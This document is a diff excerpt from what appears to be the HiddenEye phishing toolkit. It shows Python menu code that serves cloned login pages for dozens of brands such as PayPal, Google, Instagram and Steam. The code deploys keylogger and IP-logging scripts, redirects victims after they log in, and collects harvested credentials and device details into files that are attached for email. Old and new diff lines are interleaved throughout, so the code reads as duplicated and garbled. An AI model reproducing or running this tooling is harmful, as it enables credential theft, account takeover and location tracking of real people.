start_phishing_page('PayPal', customOption)
|
||||
elif option == '32':
|
||||
module_loading_message('Shopify')
|
||||
customOption = ''
|
||||
start_phishing_page('Shopify', customOption)
|
||||
elif option == '33':
|
||||
module_loading_message('Verizon')
|
||||
customOption = ''
|
||||
start_phishing_page('Verizon', customOption)
|
||||
elif option == '34':
|
||||
module_loading_message('Yandex')
|
||||
customOption = ''
|
||||
start_phishing_page('Yandex', customOption)
|
||||
elif option == '35':
|
||||
module_loading_message('Reddit')
|
||||
#customOption = input(
|
||||
# "\nOperation mode:\nHiddenEye >>> {1}".format(default_palette[0], default_palette[2]))
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["VK_operation_modes"])
|
||||
custom_option = input(global_localization.input_line)
|
||||
start_phishing_page("VK", custom_option)
|
||||
elif option == "15":
|
||||
module_loading_message("iCloud")
|
||||
custom_option = ""
|
||||
start_phishing_page("iCloud", custom_option)
|
||||
elif option == "16":
|
||||
module_loading_message("GitLab")
|
||||
custom_option = ""
|
||||
start_phishing_page("GitLab", custom_option)
|
||||
elif option == "17":
|
||||
module_loading_message("NetFlix")
|
||||
custom_option = ""
|
||||
start_phishing_page("NetFlix", custom_option)
|
||||
elif option == "18":
|
||||
module_loading_message("Origin")
|
||||
custom_option = ""
|
||||
start_phishing_page("Origin", custom_option)
|
||||
elif option == "19":
|
||||
module_loading_message("Pinterest")
|
||||
custom_option = ""
|
||||
start_phishing_page("Pinterest", custom_option)
|
||||
elif option == "20":
|
||||
module_loading_message("ProtonMail")
|
||||
custom_option = ""
|
||||
start_phishing_page("ProtonMail", custom_option)
|
||||
elif option == "21":
|
||||
module_loading_message("Spotify")
|
||||
custom_option = ""
|
||||
start_phishing_page("Spotify", custom_option)
|
||||
elif option == "22":
|
||||
module_loading_message("Quora")
|
||||
custom_option = ""
|
||||
start_phishing_page("Quora", custom_option)
|
||||
elif option == "23":
|
||||
module_loading_message("PornHub")
|
||||
custom_option = ""
|
||||
start_phishing_page("PornHub", custom_option)
|
||||
elif option == "24":
|
||||
module_loading_message("Adobe")
|
||||
custom_option = ""
|
||||
start_phishing_page("Adobe", custom_option)
|
||||
elif option == "25":
|
||||
module_loading_message("Badoo")
|
||||
custom_option = ""
|
||||
start_phishing_page("Badoo", custom_option)
|
||||
elif option == "26":
|
||||
module_loading_message("CryptoCurrency")
|
||||
custom_option = ""
|
||||
start_phishing_page("CryptoCurrency", custom_option)
|
||||
elif option == "27":
|
||||
module_loading_message("DevianArt")
|
||||
custom_option = ""
|
||||
start_phishing_page("DevianArt", custom_option)
|
||||
elif option == "28":
|
||||
module_loading_message("DropBox")
|
||||
custom_option = ""
|
||||
start_phishing_page("DropBox", custom_option)
|
||||
elif option == "29":
|
||||
module_loading_message("eBay")
|
||||
custom_option = ""
|
||||
start_phishing_page("eBay", custom_option)
|
||||
elif option == "30":
|
||||
module_loading_message("MySpace")
|
||||
custom_option = ""
|
||||
start_phishing_page("Myspace", custom_option)
|
||||
elif option == "31":
|
||||
module_loading_message("PayPal")
|
||||
custom_option = ""
|
||||
start_phishing_page("PayPal", custom_option)
|
||||
elif option == "32":
|
||||
module_loading_message("Shopify")
|
||||
custom_option = ""
|
||||
start_phishing_page("Shopify", custom_option)
|
||||
elif option == "33":
|
||||
module_loading_message("Verizon")
|
||||
custom_option = ""
|
||||
start_phishing_page("Verizon", custom_option)
|
||||
elif option == "34":
|
||||
module_loading_message("Yandex")
|
||||
custom_option = ""
|
||||
start_phishing_page("Yandex", custom_option)
|
||||
elif option == "35":
|
||||
module_loading_message("Reddit")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["reddit_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('Reddit', customOption)
|
||||
elif option == '36':
|
||||
module_loading_message('Subitoit')
|
||||
customOption = ''
|
||||
start_phishing_page('Subitoit', customOption)
|
||||
elif option == '37':
|
||||
module_loading_message('PlayStation')
|
||||
customOption = ''
|
||||
start_phishing_page('PlayStation', customOption)
|
||||
elif option == '38':
|
||||
module_loading_message('Xbox')
|
||||
customOption = ''
|
||||
start_phishing_page('Xbox', customOption)
|
||||
elif option == '39':
|
||||
module_loading_message('CUSTOM(1)')
|
||||
customOption = ''
|
||||
start_phishing_page('CUSTOM(1)', customOption)
|
||||
elif option == '40':
|
||||
module_loading_message('CUSTOM(2)')
|
||||
customOption = ''
|
||||
start_phishing_page('CUSTOM(2)', customOption)
|
||||
|
||||
#Below Are Tools And Above Are Phishing Modules..
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["reddit_operation_modes"])
|
||||
custom_option = input(global_localization.input_line)
|
||||
start_phishing_page("Reddit", custom_option)
|
||||
elif option == "36":
|
||||
module_loading_message("Subitoit")
|
||||
custom_option = ""
|
||||
start_phishing_page("Subitoit", custom_option)
|
||||
elif option == "37":
|
||||
module_loading_message("PlayStation")
|
||||
custom_option = ""
|
||||
start_phishing_page("PlayStation", custom_option)
|
||||
elif option == "38":
|
||||
module_loading_message("Xbox")
|
||||
custom_option = ""
|
||||
start_phishing_page("Xbox", custom_option)
|
||||
elif option == "39":
|
||||
module_loading_message("CUSTOM(1)")
|
||||
custom_option = ""
|
||||
start_phishing_page("CUSTOM(1)", custom_option)
|
||||
elif option == "40":
|
||||
module_loading_message("CUSTOM(2)")
|
||||
custom_option = ""
|
||||
start_phishing_page("CUSTOM(2)", custom_option)
|
||||
"""PHISHING MODULES BELOW"""
|
||||
|
||||
elif option == '0A':
|
||||
module_loading_message('LOCATION')
|
||||
#customOption = input(
|
||||
# "\nOperation mode:\n \n\n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2]))
|
||||
elif option == "0A":
|
||||
module_loading_message("LOCATION")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["additional_module_location_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('LOCATION', customOption)
|
||||
|
||||
print_sorted_as_menu(
|
||||
localization.
|
||||
lang_start_main_menu["additional_module_location_operation_modes"])
|
||||
custom_option = input(global_localization.input_line)
|
||||
start_phishing_page("LOCATION", custom_option)
|
||||
else:
|
||||
start_main_menu()
|
||||
|
||||
|
||||
def start_phishing_page(page, custom_option): # Phishing pages selection menu
|
||||
#chmod('Server', 777)
|
||||
run_command(['chmod', '-R', '777', 'Server'])
|
||||
run_command(["chmod", "-R", "777", "Server"])
|
||||
rmtree("Server/www", onerror=simple_informant.remove_readonly)
|
||||
mkdir('Server/www')
|
||||
#chmod('Server/www', 777)
|
||||
pathlib_Path('Server/www/usernames.txt').touch()
|
||||
pathlib_Path('Server/www/ip.txt').touch()
|
||||
copyfile('WebPages/ip.php', 'Server/www/ip.php')
|
||||
copyfile('WebPages/KeyloggerData.txt','Server/www/KeyloggerData.txt')
|
||||
copyfile('WebPages/keylogger.js', 'Server/www/keylogger.js')
|
||||
copyfile('WebPages/keylogger.php', 'Server/www/keylogger.php')
|
||||
mkdir("Server/www")
|
||||
pathlib_Path("Server/www/usernames.txt").touch()
|
||||
pathlib_Path("Server/www/ip.txt").touch()
|
||||
copyfile("WebPages/ip.php", "Server/www/ip.php")
|
||||
copyfile("WebPages/KeyloggerData.txt", "Server/www/KeyloggerData.txt")
|
||||
copyfile("WebPages/keylogger.js", "Server/www/keylogger.js")
|
||||
copyfile("WebPages/keylogger.php", "Server/www/keylogger.php")
|
||||
try:
|
||||
remove('link.url')
|
||||
except:
|
||||
remove("link.url")
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
|
||||
if custom_option == '1' and page == 'Facebook':
|
||||
if custom_option == "1" and page == "Facebook":
|
||||
webpage_set("WebPages/fb_standard/", "Server/www/")
|
||||
elif custom_option == '2' and page == 'Facebook':
|
||||
elif custom_option == "2" and page == "Facebook":
|
||||
webpage_set("WebPages/fb_advanced_poll/", "Server/www/")
|
||||
elif custom_option == '3' and page == 'Facebook':
|
||||
elif custom_option == "3" and page == "Facebook":
|
||||
webpage_set("WebPages/fb_security_fake/", "Server/www/")
|
||||
elif custom_option == '4' and page == 'Facebook':
|
||||
elif custom_option == "4" and page == "Facebook":
|
||||
webpage_set("WebPages/fb_messenger/", "Server/www/")
|
||||
elif custom_option == '1' and page == 'Google':
|
||||
elif custom_option == "1" and page == "Google":
|
||||
webpage_set("WebPages/google_standard/", "Server/www/")
|
||||
elif custom_option == '2' and page == 'Google':
|
||||
elif custom_option == "2" and page == "Google":
|
||||
webpage_set("WebPages/google_advanced_poll/", "Server/www/")
|
||||
elif custom_option == '3' and page == 'Google':
|
||||
elif custom_option == "3" and page == "Google":
|
||||
webpage_set("WebPages/google_advanced_web/", "Server/www/")
|
||||
elif page == 'LinkedIn':
|
||||
elif page == "LinkedIn":
|
||||
webpage_set("WebPages/linkedin/", "Server/www/")
|
||||
elif page == 'GitHub':
|
||||
elif page == "GitHub":
|
||||
webpage_set("WebPages/GitHub/", "Server/www/")
|
||||
elif page == 'StackOverflow':
|
||||
elif page == "StackOverflow":
|
||||
webpage_set("WebPages/stackoverflow/", "Server/www/")
|
||||
elif page == 'WordPress':
|
||||
elif page == "WordPress":
|
||||
webpage_set("WebPages/wordpress/", "Server/www/")
|
||||
elif page == 'Twitter':
|
||||
elif page == "Twitter":
|
||||
webpage_set("WebPages/twitter/", "Server/www/")
|
||||
elif page == 'Snapchat':
|
||||
elif page == "Snapchat":
|
||||
webpage_set("WebPages/Snapchat_web/", "Server/www/")
|
||||
elif page == 'Yahoo':
|
||||
elif page == "Yahoo":
|
||||
webpage_set("WebPages/yahoo_web/", "Server/www/")
|
||||
elif page == 'Twitch':
|
||||
elif page == "Twitch":
|
||||
webpage_set("WebPages/twitch/", "Server/www/")
|
||||
elif page == 'Microsoft':
|
||||
elif page == "Microsoft":
|
||||
webpage_set("WebPages/live_web/", "Server/www/")
|
||||
elif page == 'Steam':
|
||||
elif page == "Steam":
|
||||
webpage_set("WebPages/steam/", "Server/www/")
|
||||
elif page == 'iCloud':
|
||||
elif page == "iCloud":
|
||||
webpage_set("WebPages/iCloud/", "Server/www/")
|
||||
elif custom_option == '1' and page == 'Instagram':
|
||||
elif custom_option == "1" and page == "Instagram":
|
||||
webpage_set("WebPages/Instagram_web/", "Server/www/")
|
||||
elif custom_option == '2' and page == 'Instagram':
|
||||
elif custom_option == "2" and page == "Instagram":
|
||||
webpage_set("WebPages/Instagram_autoliker/", "Server/www/")
|
||||
elif custom_option == '3' and page == 'Instagram':
|
||||
elif custom_option == "3" and page == "Instagram":
|
||||
webpage_set("WebPages/Instagram_advanced_attack/", "Server/www/")
|
||||
elif custom_option == '4' and page == 'Instagram':
|
||||
elif custom_option == "4" and page == "Instagram":
|
||||
webpage_set("WebPages/Instagram_VerifiedBadge/", "Server/www/")
|
||||
elif custom_option == '5' and page == 'Instagram':
|
||||
elif custom_option == "5" and page == "Instagram":
|
||||
webpage_set("WebPages/instafollowers/", "Server/www/")
|
||||
elif custom_option == '1' and page == 'VK':
|
||||
elif custom_option == "1" and page == "VK":
|
||||
webpage_set("WebPages/VK/", "Server/www/")
|
||||
elif custom_option == '2' and page == 'VK':
|
||||
elif custom_option == "2" and page == "VK":
|
||||
webpage_set("WebPages/VK_poll_method/", "Server/www/")
|
||||
elif page == 'GitLab':
|
||||
elif page == "GitLab":
|
||||
webpage_set("WebPages/gitlab/", "Server/www/")
|
||||
elif page == 'NetFlix':
|
||||
elif page == "NetFlix":
|
||||
webpage_set("WebPages/netflix/", "Server/www/")
|
||||
elif page == 'Origin':
|
||||
elif page == "Origin":
|
||||
webpage_set("WebPages/origin/", "Server/www/")
|
||||
elif page == 'Pinterest':
|
||||
elif page == "Pinterest":
|
||||
webpage_set("WebPages/pinterest/", "Server/www/")
|
||||
elif page == 'ProtonMail':
|
||||
elif page == "ProtonMail":
|
||||
webpage_set("WebPages/protonmail/", "Server/www/")
|
||||
elif page == 'Spotify':
|
||||
elif page == "Spotify":
|
||||
webpage_set("WebPages/spotify/", "Server/www/")
|
||||
elif page == 'Quora':
|
||||
elif page == "Quora":
|
||||
webpage_set("WebPages/quora/", "Server/www/")
|
||||
elif page == 'PornHub':
|
||||
elif page == "PornHub":
|
||||
webpage_set("WebPages/pornhub/", "Server/www/")
|
||||
elif page == 'Adobe':
|
||||
elif page == "Adobe":
|
||||
webpage_set("WebPages/adobe/", "Server/www/")
|
||||
elif page == 'Badoo':
|
||||
elif page == "Badoo":
|
||||
webpage_set("WebPages/badoo/", "Server/www/")
|
||||
elif page == 'CryptoCurrency':
|
||||
elif page == "CryptoCurrency":
|
||||
webpage_set("WebPages/cryptocurrency/", "Server/www/")
|
||||
elif page == 'DevianArt':
|
||||
elif page == "DevianArt":
|
||||
webpage_set("WebPages/devianart/", "Server/www/")
|
||||
elif page == 'DropBox':
|
||||
elif page == "DropBox":
|
||||
webpage_set("WebPages/dropbox/", "Server/www/")
|
||||
elif page == 'eBay':
|
||||
elif page == "eBay":
|
||||
webpage_set("WebPages/ebay/", "Server/www/")
|
||||
elif page == 'Myspace':
|
||||
elif page == "Myspace":
|
||||
webpage_set("WebPages/myspace/", "Server/www/")
|
||||
elif page == 'PayPal':
|
||||
elif page == "PayPal":
|
||||
webpage_set("WebPages/paypal/", "Server/www/")
|
||||
elif page == 'Shopify':
|
||||
elif page == "Shopify":
|
||||
webpage_set("WebPages/shopify/", "Server/www/")
|
||||
elif page == 'Verizon':
|
||||
elif page == "Verizon":
|
||||
webpage_set("WebPages/verizon/", "Server/www/")
|
||||
elif page == 'Yandex':
|
||||
elif page == "Yandex":
|
||||
webpage_set("WebPages/yandex/", "Server/www/")
|
||||
elif custom_option == '1' and page == 'Reddit':
|
||||
elif custom_option == "1" and page == "Reddit":
|
||||
webpage_set("WebPages/Reddit/", "Server/www/")
|
||||
elif custom_option == '2' and page == 'Reddit':
|
||||
elif custom_option == "2" and page == "Reddit":
|
||||
webpage_set("WebPages/Reddit-old/", "Server/www/")
|
||||
elif page == 'Subitoit':
|
||||
elif page == "Subitoit":
|
||||
webpage_set("WebPages/subitoit/", "Server/www/")
|
||||
elif page == 'PlayStation':
|
||||
webpage_set('WebPages/playstation/', "Server/www/")
|
||||
elif page == 'Xbox':
|
||||
webpage_set('WebPages/xbox/', "Server/www/")
|
||||
elif page == 'CUSTOM(1)':
|
||||
print(localization.lang_start_phishing_page["custom_folder_directory"].format(page = page))
|
||||
print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(page = page))
|
||||
input(localization.lang_start_phishing_page["press_enter_to_contunue_if_setup_correctly"])
|
||||
elif page == "PlayStation":
|
||||
webpage_set("WebPages/playstation/", "Server/www/")
|
||||
elif page == "Xbox":
|
||||
webpage_set("WebPages/xbox/", "Server/www/")
|
||||
elif page == "CUSTOM(1)":
|
||||
print(localization.lang_start_phishing_page["custom_folder_directory"].
|
||||
format(page=page))
|
||||
print(
|
||||
localization.lang_start_phishing_page["manual_reading_suggestion"].
|
||||
format(page=page))
|
||||
input(localization.lang_start_phishing_page[
|
||||
"press_enter_to_continue_if_setup_correctly"])
|
||||
print(localization.lang_start_phishing_page["copying_your_files"])
|
||||
wait(3)
|
||||
webpage_set('WebPages/CUSTOM(1)/', "Server/www/")
|
||||
elif page == 'CUSTOM(2)':
|
||||
print(localization.lang_start_phishing_page["custom_folder_directory"].format(page = page))
|
||||
print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(page = page))
|
||||
input(localization.lang_start_phishing_page["press_enter_to_contunue_if_setup_correctly"])
|
||||
webpage_set("WebPages/CUSTOM(1)/", "Server/www/")
|
||||
elif page == "CUSTOM(2)":
|
||||
print(localization.lang_start_phishing_page["custom_folder_directory"].
|
||||
format(page=page))
|
||||
print(
|
||||
localization.lang_start_phishing_page["manual_reading_suggestion"].
|
||||
format(page=page))
|
||||
input(localization.lang_start_phishing_page[
|
||||
"press_enter_to_continue_if_setup_correctly"])
|
||||
print(localization.lang_start_phishing_page["copying_your_files"])
|
||||
wait(3)
|
||||
webpage_set('WebPages/CUSTOM(2)/', "Server/www/")
|
||||
|
||||
webpage_set("WebPages/CUSTOM(2)/", "Server/www/")
|
||||
|
||||
# Tools Below && Phishing Pages Above
|
||||
elif custom_option == '1' and page == 'LOCATION':
|
||||
elif custom_option == "1" and page == "LOCATION":
|
||||
wait(3)
|
||||
webpage_set('WebPages/TOOLS/nearyou', "Server/www/")
|
||||
webpage_set("WebPages/TOOLS/nearyou", "Server/www/")
|
||||
print(localization.lang_start_phishing_page["https_suggestion"])
|
||||
input(localization.lang_start_phishing_page["press_enter_to_contunue_if_setup_correctly"])
|
||||
elif custom_option == '2' and page == 'LOCATION':
|
||||
input(localization.lang_start_phishing_page[
|
||||
"press_enter_to_continue_if_setup_correctly"])
|
||||
elif custom_option == "2" and page == "LOCATION":
|
||||
wait(3)
|
||||
webpage_set('WebPages/TOOLS/gdrive', "Server/www/")
|
||||
webpage_set("WebPages/TOOLS/gdrive", "Server/www/")
|
||||
print(localization.lang_start_phishing_page["https_suggestion"])
|
||||
print(localization.lang_start_phishing_page["gdrive_suggestion"])
|
||||
input(localization.lang_start_phishing_page["press_enter_to_contunue_if_setup_correctly"])
|
||||
input(localization.lang_start_phishing_page[
|
||||
"press_enter_to_continue_if_setup_correctly"])
|
||||
|
||||
else:
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
print("Please choose a valid option")
|
||||
time.sleep(1)
|
||||
start_main_menu()
|
||||
|
||||
def enter_custom_redirecting_url(): # Question where user can input custom web-link
|
||||
run_command('clear')
|
||||
|
||||
|
||||
def enter_custom_redirecting_url(
|
||||
): # Question where user can input custom web-link
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(localization.lang_enter_custom_redirecting_url["enter_redirecting_url_header"])
|
||||
print(localization.lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"])
|
||||
custom = input(localization.lang_enter_custom_redirecting_url["redirect_here"])
|
||||
if 'http://' in custom or 'https://' in custom:
|
||||
print(localization.
|
||||
lang_enter_custom_redirecting_url["enter_redirecting_url_header"])
|
||||
print(localization.
|
||||
lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"])
|
||||
custom = input(
|
||||
localization.lang_enter_custom_redirecting_url["redirect_here"])
|
||||
if "http://" in custom or "https://" in custom:
|
||||
pass
|
||||
else:
|
||||
custom = 'http://' + custom
|
||||
custom = "http://" + custom
|
||||
|
||||
if path.exists('Server/www/js/location.js'): # For Location (gdrive) Template Redirection.
|
||||
with open('Server/www/js/location.js') as f:
|
||||
# For Location (gdrive) Template Redirection.
|
||||
if path.exists("Server/www/js/location.js"):
|
||||
with open("Server/www/js/location.js") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('<CUSTOM>', custom)
|
||||
f = open('Server/www/js/location.js', 'w')
|
||||
c = read_data.replace("<CUSTOM>", custom)
|
||||
f = open("Server/www/js/location.js", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
|
||||
if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'):
|
||||
with open('Server/www/login.php') as f:
|
||||
if path.exists("Server/www/post.php") and path.exists(
|
||||
"Server/www/login.php"):
|
||||
with open("Server/www/login.php") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('<CUSTOM>', custom)
|
||||
f = open('Server/www/login.php', 'w')
|
||||
c = read_data.replace("<CUSTOM>", custom)
|
||||
f = open("Server/www/login.php", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
|
||||
with open('Server/www/post.php') as f:
|
||||
with open("Server/www/post.php") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('<CUSTOM>', custom)
|
||||
f = open('Server/www/post.php', 'w')
|
||||
c = read_data.replace("<CUSTOM>", custom)
|
||||
f = open("Server/www/post.php", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
|
||||
else:
|
||||
with open('Server/www/login.php') as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('<CUSTOM>', custom)
|
||||
f = open('Server/www/login.php', 'w')
|
||||
f.write(c)
|
||||
f.close()
|
||||
try:
|
||||
with open("Server/www/login.php") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace("<CUSTOM>", custom)
|
||||
f = open("Server/www/login.php", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
except FileNotFoundError:
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(
|
||||
"[^] ERROR: Please make sure your folder contains a valid login.php file."
|
||||
)
|
||||
exit()
|
||||
|
|
|
@ -4,180 +4,222 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import requests, getuid, platform_os, run_command, try_to_run_command, wait, chmod, stat, pathlib_Path, copyfile, socket
|
||||
import Defs.ThemeManager.theme as theme
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.ActionManager.Server.server_runner as server_runner
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.LocalizationManager.lang_action_manager.lang_simple_informant as localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import chmod
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import getuid
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import platform
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import requests
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import stat
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import try_to_run_command
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def license_handler():
|
||||
""" Checks if eula.txt exists, creates one if it doesn't. Checks if "eula = True" is inside.
|
||||
|
||||
Returns:
|
||||
boolean: Returns True if "eula = True" is inside eula.txt, False by default.
|
||||
"""
|
||||
eula = pathlib_Path("eula.txt")
|
||||
|
||||
if eula.exists():
|
||||
eula = eula.open('r')
|
||||
with open('eula.txt', 'r') as f:
|
||||
if 'eula = True' in f.read():
|
||||
print('Found your license agreement, proceeding...')
|
||||
with open("eula.txt", "r") as f:
|
||||
if "eula = True" in f.read():
|
||||
print("Found your license agreement, proceeding...")
|
||||
return True
|
||||
else:
|
||||
print('Please read and accept license.')
|
||||
print("Please read and accept license.")
|
||||
return False
|
||||
else:
|
||||
eula.touch(mode=0o777, exist_ok=True)
|
||||
eula = open('eula.txt', 'w')
|
||||
eula = open("eula.txt", "w")
|
||||
eula.write(localization.write_eula + "eula = False")
|
||||
eula.close()
|
||||
print('Please accept EULA.')
|
||||
print("Please accept EULA.")
|
||||
return False
|
||||
|
||||
|
||||
def exit_message(port = 80): # Message when HiddenEye exit
|
||||
def exit_message(port=80): # Message when HiddenEye exit
|
||||
"""Displays preconfigured message when HiddenEye execution ends or user tries to leave app.
|
||||
|
||||
Args: port (int, optional): Will be used as port value if custom one isn't provided. Needed in case user decides
|
||||
to restart app again. Defaults to 80.
|
||||
|
||||
Returns:
|
||||
method: If no option is selected, exit message returns to self and gets shown again.
|
||||
"""
|
||||
choice = input(localization.lang_exit_message["choice"])
|
||||
choice.lower()
|
||||
if choice == 'r':
|
||||
run_command(['sudo', 'python3', 'HiddenEye.py'])
|
||||
elif choice == 'm':
|
||||
if choice == "r":
|
||||
run_command(["sudo", "python3", "HiddenEye.py"])
|
||||
elif choice == "m":
|
||||
email_prompt.captured_data_email_confirmation(port)
|
||||
elif choice == 's':
|
||||
elif choice == "s":
|
||||
server_runner.server_selection(port)
|
||||
elif choice == 'x':
|
||||
run_command('clear')
|
||||
elif choice == "x":
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(' ' + global_localization.by_darksec)
|
||||
print(' ' + global_localization.official_website_link)
|
||||
print(" " + global_localization.by_darksec)
|
||||
print(" " +
|
||||
global_localization.official_website_link)
|
||||
print(localization.lang_exit_message["help_to_improve_this_tool"])
|
||||
print(localization.lang_exit_message["tell_if_page_got_broken"])
|
||||
print(localization.lang_exit_message["make_your_pull_request_or_issue"])
|
||||
print(
|
||||
localization.lang_exit_message["make_your_pull_request_or_issue"])
|
||||
print(localization.lang_exit_message["small_disclaimer_suggestion"])
|
||||
print(localization.lang_exit_message["forum_suggestion"])
|
||||
print(localization.lang_exit_message["financial_support"])
|
||||
print(localization.lang_exit_message["thank_you"])
|
||||
else:
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return exit_message(port)
|
||||
|
||||
def terms_of_service_message(): # menu where user select what they wanna use
|
||||
# Terms Of Service
|
||||
# print("\n\n\n {1}WITH GREAT {0}POWER {2}- {1}COMES GREAT {0}RESPONSIBILITY ".format(red, purple, blue))
|
||||
|
||||
#if input("\n\n\n\n{2}[{1}!{2}]{3} Do you agree to use this tool for educational/testing purposes only? {1}({0}Y{1}/{2}N{1})\n{2}HiddenEye >>> {0}".format(default_palette[2], default_palette[4], default_palette[0], orange)).upper() != 'Y':
|
||||
# run_command('clear')
|
||||
# print("\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE.!{1} ]\n\n".format(default_palette[0], default_palette[4]))
|
||||
# exit()
|
||||
|
||||
def terms_of_service_message():
|
||||
"""Requests user to provide agreement to license provided.
|
||||
|
||||
Returns:
|
||||
boolean: Always returns True, if user doesn't accept agreement - proceeds to exit()
|
||||
"""
|
||||
agreement = license_handler()
|
||||
if not agreement:
|
||||
print(localization.lang_terms_of_service_message["GPL_3.0"])
|
||||
print(localization.lang_terms_of_service_message["great_power_great_responsibility"])
|
||||
print(localization.lang_terms_of_service_message["do_you_accept_license"])
|
||||
print(localization.lang_terms_of_service_message["enter_this_to_confirm"])
|
||||
print(
|
||||
localization.
|
||||
lang_terms_of_service_message["great_power_great_responsibility"])
|
||||
print(localization.
|
||||
lang_terms_of_service_message["do_you_accept_license"])
|
||||
print(localization.
|
||||
lang_terms_of_service_message["enter_this_to_confirm"])
|
||||
agreement = input(global_localization.input_line)
|
||||
if localization.text_to_confirm_license not in agreement:
|
||||
print(localization.lang_terms_of_service_message["you_are_not_allowed"])
|
||||
print(localization.
|
||||
lang_terms_of_service_message["you_are_not_allowed"])
|
||||
exit()
|
||||
else:
|
||||
eula = open('eula.txt', 'w')
|
||||
eula.write(localization.write_eula +"eula = True")
|
||||
eula = open("eula.txt", "w")
|
||||
eula.write(localization.write_eula + "eula = True")
|
||||
eula.close()
|
||||
return True
|
||||
else:
|
||||
return True
|
||||
|
||||
def module_loading_message(module): # This one just show text..
|
||||
|
||||
|
||||
def module_loading_message(option_name): # This one just show text..
|
||||
"""Prints "Select any mode" message. """
|
||||
print(option_name + localization.lang_module_loading_message["is_loaded"])
|
||||
print(localization.lang_module_loading_message["select_any_mode"])
|
||||
|
||||
|
||||
def credentials_collector(port):
|
||||
|
||||
def credentials_collector():
|
||||
"""Collects, writes and returns credentials and additional info gathered from target."""
|
||||
print(localization.lang_credentials_collector["waiting_for_interaction"])
|
||||
while True:
|
||||
with open('Server/www/usernames.txt') as creds:
|
||||
with open("Server/www/usernames.txt") as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
#run_command("touch Server/CapturedData/usernames.txt
|
||||
pathlib_Path("Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True)
|
||||
|
||||
# && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt
|
||||
captured_usernames = open('Server/CapturedData/usernames.txt', 'a')
|
||||
new_usernames = open('Server/www/usernames.txt')
|
||||
log_writer(localization.
|
||||
lang_credentials_collector["credentials_found"] +
|
||||
"{0}{2}{1}".format(default_palette[2],
|
||||
default_palette[3], lines))
|
||||
pathlib_Path("Server/CapturedData/usernames.txt").touch(
|
||||
mode=0o777, exist_ok=True)
|
||||
captured_usernames = open("Server/CapturedData/usernames.txt",
|
||||
"a")
|
||||
new_usernames = open("Server/www/usernames.txt")
|
||||
captured_usernames.write(new_usernames.read())
|
||||
new_usernames.close()
|
||||
captured_usernames.close()
|
||||
# && cp Server/CapturedData/usernames.txt Defs/Send_Email/attachments/usernames.txt
|
||||
copyfile('Server/CapturedData/usernames.txt', 'Defs/FeatureManager/EmailManager/attachments/usernames.txt')
|
||||
copyfile(
|
||||
"Server/CapturedData/usernames.txt",
|
||||
"Defs/FeatureManager/EmailManager/attachments/usernames.txt",
|
||||
)
|
||||
|
||||
# && echo -n '' > Server/www/usernames.txt")
|
||||
new_usernames = open('Server/www/usernames.txt', 'w')
|
||||
new_usernames.write('')
|
||||
new_usernames = open("Server/www/usernames.txt", "w")
|
||||
new_usernames.write("")
|
||||
new_usernames.close()
|
||||
|
||||
with open('Server/www/ip.txt') as creds:
|
||||
with open("Server/www/ip.txt") as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
#run_command('touch Server/CapturedData/ip.txt
|
||||
